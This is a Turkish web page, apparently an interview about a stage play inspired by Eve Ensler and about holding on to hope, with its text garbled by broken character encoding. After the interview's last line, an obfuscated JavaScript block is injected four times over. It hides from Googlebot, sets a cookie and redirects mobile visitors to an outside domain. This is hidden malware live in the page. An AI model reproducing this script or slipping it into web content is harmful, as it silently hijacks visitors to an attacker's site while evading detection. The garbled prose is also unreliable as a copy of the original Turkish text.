ai???Peki hiAi?? korkmuyor musun?ai??? sorusuna, ai???OlanAi?? biteni gAi??rmemek duymamak beni daha Ai??ok korkutuyorai??? cevabAi?? oyunun Ai??nemli repliklerinden biri.
TuAYrul TA?lek: Kesinlikle katAi??lAi??yorum. Ai??ok gA?zel yakalamAi??AYsAi??n. O cA?mle gerAi??ekten Ai??ok Ai??nemli. AslAi??nda Melissa senin de dediAYin gibi Eve Enslerai??i??in bir yansAi??masAi??. KadAi??n kendini de eleAYtiriyor bir taraftan. Ai??ok akAi??llAi?? bir kadAi??n Ai??A?nkA?. Kendisine de uzaktan bakabilecek biri.
Azenay GA?ler: Acaba ikiye mi bAi??ldA? kendini? Kendi iAi??indeki tartAi??AYma mAi?? diye dA?AYA?ndA?m hep. Melissa ve Doktor J.S. aslAi??nda aynAi?? kiAYi olabilir. Belki de Eve Enslerai??i??in genAi??liAYi ile Eve Enslerai??i??in yaAYlAi??lAi??AYAi??nAi??n Ai??atAi??AYmasAi?? gibi.
TuAYrul TA?lek: Bir de burada Eve Enslerai??i??in gerAi??ek hayatta yaptAi??AYAi??nAi?? yaparken gAi??rdA?AYA?mA?z figA?r Melissa ya, ister istemez biz de bir AYekilde Melissaai??i??yla Eve Enslerai??i??Ai?? Ai??zdeAYleAYtiriyoruz. KadAi??n da bir yandan kendini eleAYtiriyor zaten bunu yaparken. BunlarAi??n hepsini sadece izlememek; gidip AYahit olmak iAi??in yapAi??yor. Zaten orada iAYte benim iAi??in o kAi??tA? niyet ortadan kalkAi??yor.

Oyunun aAi??Ai??lAi??AY AYarkAi??sAi??nda kafamAi??zda, kalbimizde gittikAi??e bA?yA?yen, kocaman bir kAi??tA?lA?k olduAYunu duyuyoruz. Ai??Ai??imizdeki canavar anlatAi??lAi??yor. BitiAY AYarkAi??sAi??ndan da her AYeye raAYmen ai???yarAi??n hA?lA? bizimdirai???diyor ya ben o sAi??ze tutunup Ai??Ai??ktAi??m oyundan.
Azenay GA?rler: Umudumuz olmalAi??, yoksa hayatAi??mAi??z Ai??ok zor.
TuAYrul TA?lek: Bunu senden duyduAYuma Ai??ok sevindim.Oyun biraz umutsuz bitiyordu. Hele hele geAi??tiAYimiz AYu zor dAi??nemlerde A?zerine bir de biz vuralAi??m bir tane, bakAi??n zaten bittik, oyun da aynAi??sAi??nAi?? anlatAi??yor demek istemedik. BugA?n bAi??yle, tamam, yaAYAi??yoruz ama yarAi??n bize ait bir AYey. Tamam, bugA?nA? elimizden almAi??AY olabilirler ama yarAi??n bizim. O yA?zden bunu unutmayalAi??m ve bir araya gelelim ve yarAi??nAi?? bizim yapalAi??m demek istedim.
Azenay GA?rler: Bana da Ai??ok etkileyici geliyor. Ai??yle bir dAi??nemden geAi??iyoruz ki sadece TA?rkiye deAYil, dA?nya Ai??yle. Daha umutsuz bir hale geliyoruz. Ben hep umut var derken; geleceAYe karAYAi??n umudum azaldAi??. Ai??ok karanlAi??k bir noktaya gidiyor. AklAi??m daha karanlAi??k AYeyler Ai??izebiliyor. Ama evet, yarAi??n hA?lA? bizimdir. OlmalAi?? yani, olmalAi??!
TuAYrul TA?lek: Zaten o zaman ya yaAYamanAi??n bir anlamAi?? yok ya da bA?tA?n sistemini deAYiAYtireceksin. BaAYka bir Ai??Ai??zA?m bulacaksAi??n, yarAi??nAi??n sana ait olduAYu bir yere gitmeye Ai??alAi??AYacaksAi??n.

VerdiAYi duygu bir yana, o zaten hA?crem gibi iAi??imde bA?yA?yecek, o artAi??k benimleai??i?? Ama ayrAi??ca tertemiz, hiAi?? Ai??apaAYAi?? olmayan bir oyun seyrettik. Bundan bAi??yle kalbimdesiniz, kAi??ymetlilerimsiniz. TeAYekkA?r ederim.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

CEVAP VER

Please enter your comment!
Please enter your name here